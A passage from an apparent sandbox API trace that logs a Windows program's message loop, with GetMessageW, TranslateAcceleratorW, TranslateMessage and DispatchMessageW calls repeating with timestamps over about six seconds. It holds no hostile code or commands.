(hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.599] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.599] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.599] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.599] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.599] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.599] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.600] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.646] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.646] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.646] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.646] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.646] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.646] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.646] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.647] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.700] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0059.700] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.700] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.700] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.660] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.660] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.660] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.660] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.707] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.707] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.707] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.707] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.707] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.707] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.707] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.708] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.753] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.753] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.753] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.754] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.754] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.754] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.754] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.754] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.801] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.801] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.801] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.801] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.801] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.801] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.801] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.802] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.849] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.849] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.849] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.849] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.849] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.849] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.849] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.850] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.894] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.894] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.894] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.894] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.894] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.894] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.894] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.895] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.941] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.941] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.941] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.941] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.941] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.941] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.941] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.942] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.988] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.988] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.988] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.988] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.988] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0060.988] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.988] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.989] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.035] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.035] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.035] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.035] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.035] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.035] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.035] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.036] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.081] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.081] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.081] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.081] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.081] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.081] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.081] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.082] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.128] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.128] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.128] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.128] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.128] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.128] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.128] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.130] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.175] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.175] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.175] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.175] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.175] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.175] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.175] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.176] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.222] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.222] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.222] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.222] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.222] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.222] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.222] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.222] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.268] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0061.268] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.268] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.268] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.267] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.267] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.267] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.267] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.314] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.314] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.314] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.314] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.314] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.314] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.314] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.315] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.407] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.407] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.407] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.407] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.407] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.407] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.408] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.408] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.454] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.454] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.454] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.454] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.454] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.454] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.454] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.455] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.501] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.501] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.501] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.501] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.501] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.501] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.501] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.502] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.547] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.547] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.547] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.548] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.548] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.548] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.548] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.549] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.594] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.594] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.594] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.594] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.594] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.595] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.641] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.641] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.641] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.641] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.641] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.641] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.641] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.642] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.688] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.688] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.688] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.688] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.688] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.688] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.688] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.689] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.735] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.735] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.735] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.735] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.735] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.735] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.735] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.736] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.781] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.781] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.781] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.782] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.782] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.782] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.782] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.782] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.828] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.828] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.828] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.828] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.828] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.828] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.828] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.829] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.875] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.875] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.875] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.875] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.875] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0062.875] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.875] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.876] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.223] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0064.223] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.223] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.223] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.221] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.222] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.222] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.222] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.402] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.402] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.402] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.402] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.402] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.402] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.402] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.403] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.449] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.449] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.449] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.450] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.450] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.450] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.450] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.451] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.497] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.497] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.497] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.497] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.497] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.497] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.497] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.498] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.543] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.543] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.543] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.543] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.543] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.543] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.543] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.544] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.714] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.714] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.714] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.715] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.715] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.715] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.715] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.716] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.761] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.761] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.761] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.761] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.761] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.761] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.761] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.762] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.808] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.808] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.808] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.808] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.808] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.808] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.808] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.809] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0065.855] TranslateAcceleratorW (hWnd=0x601c0, hAccTable=0x60125, lpMsg=0x18e548) returned 0 [0065.855] TranslateMessage (lpMsg=0x18e548) returned 0 [0065.855] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0065.855] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, 